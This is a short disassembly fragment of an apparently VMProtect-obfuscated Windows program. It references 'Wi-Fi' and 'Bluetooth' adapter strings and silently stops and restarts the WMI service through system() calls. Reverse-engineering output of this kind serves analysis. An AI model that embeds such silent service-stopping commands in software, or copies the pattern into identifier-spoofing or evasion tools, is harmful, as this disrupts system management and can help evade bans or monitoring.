vmovdqu xmmword [rsp + 0x1f58], xmm1
mov r8d, 5
lea rdx, str.Wi_Fi
lea rcx, [rsp + 0x1f48]
call fcn.140070960
nop
lea rcx, [rsp + 0x1f48]
call fcn.140114910
nop
lea rcx, [rsp + 0x1f48]
call fcn.14006d590
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1f68], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x1f78], xmm1
mov r8d, 9
lea rdx, str.Bluetooth
lea rcx, [rsp + 0x1f68]
call fcn.140070960
nop
lea rcx, [rsp + 0x1f68]
call fcn.140114910
nop
lea rcx, [rsp + 0x1f68]
call fcn.14006d590
call fcn.14011aea0
lea rcx, str.net_stop_winmgmt__y___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.timeout__t_2__nobreak___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_start_winmgmt__y___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 5
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectEnd]
nop
mov qword [r15], rdi
mov rbx, qword [rsp + 0x4690]
add rsp, 0x4660
pop r15
pop rdi
pop rsi
ret